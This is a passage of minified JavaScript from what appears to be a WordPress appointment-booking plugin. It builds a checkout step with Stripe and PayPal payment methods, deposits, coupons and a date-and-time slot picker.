t=this.getElementSelector("payment-request-button"),i=document.querySelector(t);i&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on("ready",(e=>{this.mountedMethod("payment_request_button"),i.classList.remove("mpa-preloader-skeleton-pulsate")}))):(i.classList.add("mpa-hide"),document.querySelector(".mpa-stripe-payment-request-button-separator").classList.add("mpa-hide")))}))})),e.find('input[name="stripe_payment_method"]').on("change",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(".mpa-errors")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case"payment":case"card":case"ideal":case"sepa_debit":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let i=this.paymentMethods.find(e);i.$nav.toggleClass("active",t),i.$fields.toggleClass("mpa-hide",!t)}}getElementSelector(e){return"sepa_debit"===e&&(e="iban"),"#mpa-stripe-"+e+"-element-"+this.uid}render(){let e="";e+='<section class="mpa-stripe-payment-container">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='<div class="mpa-errors"></div>',e+="</section>",e}renderNavigation(){let e="";e+='<nav class="mpa-stripe-payment-methods">',e+="<ul>";for(let t of this.paymentMethods.keys){let i=t===this.selectedMethod;e+='<li class="mpa-stripe-payment-method '+t+(i?" active":"")+'">',e+="<label>",e+='<input type="radio" name="stripe_payment_method" value="'+t+'"'+(i?' checked="checked"':"")+">",e+=" "+this.methods[t].title,e+="</label>",e+="</li>"}return e+="</ul>",e+="</nav>",e}renderFields(e){let t="";switch(t+='<div class="mpa-stripe-payment-fields '+e+(e===this.selectedMethod?"":" mpa-hide")+'">',t+="<fieldset>",e){case"payment":t+=this.renderPaymentFields();break;case"card":t+=this.renderCardFields();break;case"ideal":t+=this.renderIdealFields();break;case"sepa_debit":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+="</fieldset>","sepa_debit"===e&&(t+='<p class="notice">',t+=u("By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.","motopress-appointment").replace("%s",m().settings().getBusinessName()),t+="</p>"),t+="</div>",t}renderPaymentFields(){let e="";return e+='<div id="mpa-stripe-payment-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-element"></div>',e}renderCardFields(){let e="";return e+='<label for="mpa-stripe-card-element-'+this.uid+'">',e+=u("Credit or debit card","motopress-appointment"),e+="</label>",this.methods.card.isEnabledWallets()&&(e+='<div id="mpa-stripe-payment-request-button-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement"></div>',e+='<div class="mpa-stripe-payment-request-button-separator">'+u("or","motopress-appointment")+"</div>"),e+='<div id="mpa-stripe-card-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate"></div>',e}renderIdealFields(){let e="";return e+='<label for="mpa-stripe-ideal-element-'+this.uid+'">',e+=u("Select iDEAL Bank","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-ideal-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate"></div>',e}renderSepaDebitFields(){let e="";return e+='<label for="mpa-stripe-iban-element-'+this.uid+'">',e+=u("IBAN","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-iban-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate"></div>',e}renderRedirectNotice(){let e="";return e+='<p class="notice">',e+=u("You will be redirected to a secure page to complete the payment.","motopress-appointment"),e+="</p>",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass("mpa-hide")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass("mpa-hide").html("")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class xe extends Ee{load(){return this.loadPromise=h("/payments/settings",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Fe{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,i){if(this.api=e,this.settings=i,this.elements=t,new.target===Fe)throw new Error("Cannot construct Abstract instances directly");if(void 0===this.setupProperties)throw new Error("Must override method: setupProperties()");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('"name" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('"title" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,i){let s={type:this.name,billing_details:{name:e.padEnd(3," "),email:t,phone:i}};return null!==this.control&&(s[this.name]=this.control),s}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error("Abstract Method has no implementation")}processPayment(e,t,i){const s=e.getCustomer(),a=this.createPaymentMethodData(s.name,s.email,s.phone);return this.createPaymentMethod(a).then((t=>{if(t.error)throw new Error(t.error.message);return c("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return"requires_action"==e.status&&"redirect_to_url"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error("Unable to process payment.",e.message),null!=i.error_handler&&i.error_handler(e.message),e}))}}class Be extends Fe{setupProperties(){this.name="payment",this.title=u("Payment methods","motopress-appointment"),this.customerDetails={name:"",email:"",phone:""}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:"",email:"",phone:""}}confirmPayment(e,t){const i=this.getCustomerDetails(),s=this.elements;return new Promise(((e,t)=>{s.submit().then((({error:i})=>{if(i){const e=i.message||"";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var a,r,n;return this.api.confirmPayment({elements:s,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(a=i?.name)&&void 0!==a?a:null,email:null!==(r=i?.email)&&void 0!==r?r:null,phone:null!==(n=i?.phone)&&void 0!==n?n:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:"if_required"})})).catch((e=>{throw console.error("Error during payment confirmation:",e),e}))}processPayment(e,t,i){return c("/payments/prepare",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if("requires_action"===e.status){if("redirect_to_url"!==e.next_action.type)throw new Error("The user has cancelled or failed to complete the payment.");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error("Unable to process payment.",e.message),e;throw new Error("Unable to process payment.")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create("payment",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?"never":"auto",email:e?.email?"never":"auto",phone:e?.phone?"never":"auto",address:{line1:"auto",line2:"auto",city:"auto",state:"auto",country:"auto",postalCode:"auto"}}}})}}class Le extends Fe{setupProperties(){this.name="card",this.title=u("Card","motopress-appointment"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:m().settings().getCurrency().toLowerCase(),total:{label:u("Total","motopress-appointment"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return["apple_pay","google_pay","link"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const i=t.toLowerCase().replace(/([-_][a-z])/g,(e=>e.toUpperCase().replace("-","").replace("_","")));e.push(i)}})),e}createPaymentRequestButton(){return this.elements.create("paymentRequestButton",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:"50px"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}proccessPaymentRequestButtonHandler(e,t){const i=e.getCustomer();return this.api.createPaymentMethod({type:"card",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:i.name,email:i.email,phone:i.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete("fail"),new Error(t.error.message);return c("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete("success"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,console.error("Unable to process payment.",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,i){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,i):super.processPayment(e,t,i)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Oe extends Fe{setupProperties(){this.name="sepa_debit",this.title=u("SEPA Direct Debit","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create("iban",{style:this.settings.style,supportedCountries:["SEPA"]})}}class Re extends Fe{setupProperties(){this.name="bancontact",this.title=u("Bancontact","motopress-appointment")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Ne extends Fe{setupProperties(){this.name="ideal",this.title=u("iDEAL","motopress-appointment")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create("idealBank",{style:this.settings.style})}}class Ve extends Fe{setupProperties(){this.name="giropay",this.title=u("Giropay","motopress-appointment")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class qe extends Fe{setupProperties(){this.name="sofort",this.title=u("SOFORT","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,i){let s=super.createPaymentMethodData(e,t,i);return s.sofort={country:this.settings.country},s}}class Ue extends xe{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId="stripe",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader")}isValidAcceptTerms(){if(!m().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=m().settings().getCurrency()),t.toUpperCase()){case"BIF":case"CLP":case"DJF":case"GNF":case"JPY":case"KMF":case"KRW":case"MGA":case"PYG":case"RWF":case"UGX":case"VND":case"VUV":case"XAF":case"XOF":case"XPF":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,m().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:u("Total","motopress-appointment"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0<this.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0<this.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new Me(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error("The payment gateway is not valid."));this.$gatewayPreloader.removeClass("mpa-hide");let i=this.view.selectedMethod,s=jQuery.extend({payment_method:i},this.settings,t),a={error_handler:this.view.showError.bind(this.view)};return this.methods[i].processPayment(e,s,a).then((e=>(this.$gatewayPreloader.addClass("mpa-hide"),e)),(e=>{throw this.$gatewayPreloader.addClass("mpa-hide"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:"auto",payment_methods:[],public_key:"",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:"2023-10-16"}),i=t.elements({mode:"payment",locale:this.settings.locale,currency:m().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((s=>{switch(s){case"payment":e.payment=new Be(t,i,this.settings),e.payment.provideCart(this.cart);break;case"card":e.card=new Le(t,i,this.settings),e.card.getControl().on("change",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on("token",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on("cancel",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on("click",this.onClickPaymentRequestButton.bind(this)))}));break;case"sepa_debit":e.sepa_debit=new Oe(t,i,this.settings),e.sepa_debit.getControl().on("change",this.onChange.bind(this));break;case"bancontact":e.bancontact=new Re(t,i,this.settings);break;case"ideal":e.ideal=new Ne(t,i,this.settings);break;case"giropay":e.giropay=new Ve(t,i,this.settings);break;case"sofort":e.sofort=new qe(t,i,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class He extends xe{setupProperties(){super.setupProperties(),this.gatewayId="paypal"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest("form").find(".mpa-button-next").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest("form").find(".mpa-button-next").show()}mount(e){let t=this;t.$errorWrapper=e.find(".mpa-paypal-error"),t.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),paypal.Buttons({onInit(e,i){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||i.disable(),e.addEventListener("change",(e=>{e.target.checked?i.enable():i.disable()}))}},onClick:function(e,i){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click"))},createOrder:function(e,i){return t.$errorWrapper.addClass("mpa-hide"),t.$gatewayPreloader.removeClass("mpa-hide"),c("/payments/prepare",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass("mpa-hide"),e)))},onApprove:function(e,i){return i.order.capture().then((function(e){t.paypalDetails=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass("mpa-hide")}}).render(e.find(".mpa-paypal-container")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class We{static createGateways(e,t){let i={};for(let s of m().settings().getActiveGateways()){let a=e.find(".mpa-"+s+"-payment-gateway .mpa-billing-fields"),r=0!==a.length?We.createGateway(s,a,t):null;null!==r&&(i[s]=r)}return i.free=new Ae({},t),i}static createGateway(e,t,i){switch(e){case"manual":case"test":case"cash":case"bank":return new Ee(t,i);case"paypal":return new He(t,i);case"stripe":return new Ue(t,i);default:return wp.hooks.applyFilters("mpa_create_gateway",null,e,t,i)}}}class je extends pe{setupProperties(){super.setupProperties(),this.lastCartHash="",this.gatewayId="",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(".mpa-checkout-form"),this.$order=this.$element.find(".mpa-order"),this.$billingSection=this.$element.find(".mpa-billing-details"),this.$paymentGateways=this.$billingSection.find(".mpa-payment-gateway"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name="payment_gateway_id"]'),this.$message=this.$element.find(".mpa-message").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(".mpa-deposit-section"),this.$depositSwitcher=this.$element.find('input[name="mpa-deposit-switcher"]'),this.$depositTable=this.$element.find("#mpa-deposit-table"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.couponSection=null}theId(){return"payment"}propertiesSchema(){return{gatewayId:{type:"string",default:""},isDepositDisabled:{type:"bool",default:!1},acceptTerms:{type:"bool",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass("mpa-hide",!e.trim().length)}clearErrorMessage(){this.setErrorMessage("")}hideDeposit(){this.$deposit.addClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!1),this.setProperty("isDepositDisabled",this.$depositSwitcher.prop("checked"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty("gatewayId",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on("submit",(e=>!1)),this.$paymentGatewayButtons.on("change",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on("input",(e=>{this.$depositTable.toggleClass("mpa-hide",e.target.checked),this.setProperty("isDepositDisabled",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():""})}))}loadEntities(){this.isLoaded||this.$element.removeClass("mpa-hide"),this.lastCartHash=this.cart.getHash("order"),m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(".mpa-coupon-details"),this.cart)),this.updateOrderDetails();let e=[];return"free"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,"order")?(this.lastCartHash=this.cart.getHash("order"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters("mpa_booking_reload_drafts",!1)?this.loadDrafts():Promise.resolve(this)}reset(){m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),this.lastCartHash="";let e=m().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(":checked").prop("checked",!1),e in this.gateways?(this.setProperty("gatewayId",e),this.$paymentGatewayButtons.filter('[value="'+e+'"]').prop("checked",!0)):this.resetProperty("gatewayId");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(be(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let i="";return t>0&&(i+='<table class="widefat">',i+="<tbody>",i+='<tr class="mpa-deposit-title">',i+='<td class="column-title" colspan="2">',i+=u("Deposit","motopress-appointment"),i+="</td>",i+="</tr>",i+='<tr class="mpa-deposit-now">',i+='<th class="column-title">',i+=u("Paying now","motopress-appointment"),i+="</th>",i+='<th class="column-price">',i+=_e(e.deposit),i+="</th>",i+="</tr>",i+='<tr class="mpa-deposit-left">',i+='<th class="column-title">',i+=u("Left to pay","motopress-appointment"),i+="</th>",i+='<th class="column-price">',i+=_e(t),i+="</th>",i+="</tr>",i+="</tbody>",i+="</table>"),i}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(":checked").length>0&&this.toggleDepositSection()}let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:""}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId("free",!1);else{const e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass("mpa-hide",e),this.$paymentGatewayButtons.prop("required",!e)}loadGateways(){let e=this.$billingSection.find(".mpa-payment-gateways");this.gateways=We.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return c("/bookings/draft",{...wp.hooks.applyFilters("mpa_booking_draft_data",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop("disabled",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return""!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,i){i in this.gateways&&this.gateways[i].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop("disabled",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return"object"==typeof e&&"function"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class ze extends pe{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash="",this.monthSlots={},this.date="",this.time="",this.datepicker=null,this.$dateWrapper=this.$element.find(".mpa-date-wrapper"),this.$dateInput=this.$element.find(".mpa-date"),this.$timeWrapper=this.$element.find(".mpa-time-wrapper"),this.$times=this.$timeWrapper.find(".mpa-times"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return"period"}getCartContext(){return"cart item"}propertiesSchema(){return{date:{type:"string",default:""},time:{type:"string",default:""}}}addListeners(){super.addListeners(),this.$dateInput.on("change",(e=>this.setProperty("date",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash("availability"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,"availability")?(this.$element.removeClass("mpa-loaded"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash="",this.monthSlots={},this.resetDate()}isValidInput(){return""!=this.date&&""!=this.time}resetDate(){this.resetProperty("date")}resetTime(){this.$times.empty(),this.resetProperty("time")}setEnabledDays(e){F(e,!0)?this.datepicker.set("enable",["2000-01-01"]):this.datepicker.set("enable",e)}afterUpdate(e,t,i){"date"==e&&(""==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass("mpa-hide",""==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let i=t.locale||m().settings().getFlatpickrLocale(),s=flatpickr.l10ns[i]||i;"object"==typeof s&&(s.firstDayOfWeek=m().settings().getFirstDayOfWeek());let a={formatDate:f,inline:!0,locale:s,monthSelectorType:"static",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:m().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=b(this.date),e.time=new Y(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),i=t[0],s=t[1];null===e.employee&&e.setEmployee(i,!1),null===e.location&&e.setLocation(s,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent("mpa_add_to_cart",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent("mpa_view_cart",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t);const s=this.monthSlots[i];if(s&&Object.keys(s).length>0){const e=Object.keys(s)[0],t=Object.keys(s[e])[0];this.datepicker.setDate(e,!0);this.$times.children(".mpa-time-period").filter(((e,i)=>i.getAttribute("date-time")===t)).trigger("click"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let i=this.monthSlots[t][this.date];for(let t in i)if(t===this.time){let s=i[t];e[0]=s[0][0],e[1]=s[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass("mpa-loaded");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t),s=null;if(this.monthSlots[i])s=Promise.resolve(this.monthSlots[i]);else{s=function(e,t,i,s){return h("/calendar/time",{service_id:e,employee_in:s.employee_in?s.employee_in.join(","):"",location_in:s.location_in?s.location_in.join(","):"",date_from:f(t,"internal"),date_to:f(i,"internal"),exclude_cart:s.exclude_cart?s.exclude_cart:[]}).catch((e=>console.error("Failed to make time slots in mpa_time_slots().",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([s,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[i]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass("mpa-loaded"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray("items")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let i=0;for(let t in e){let s=new 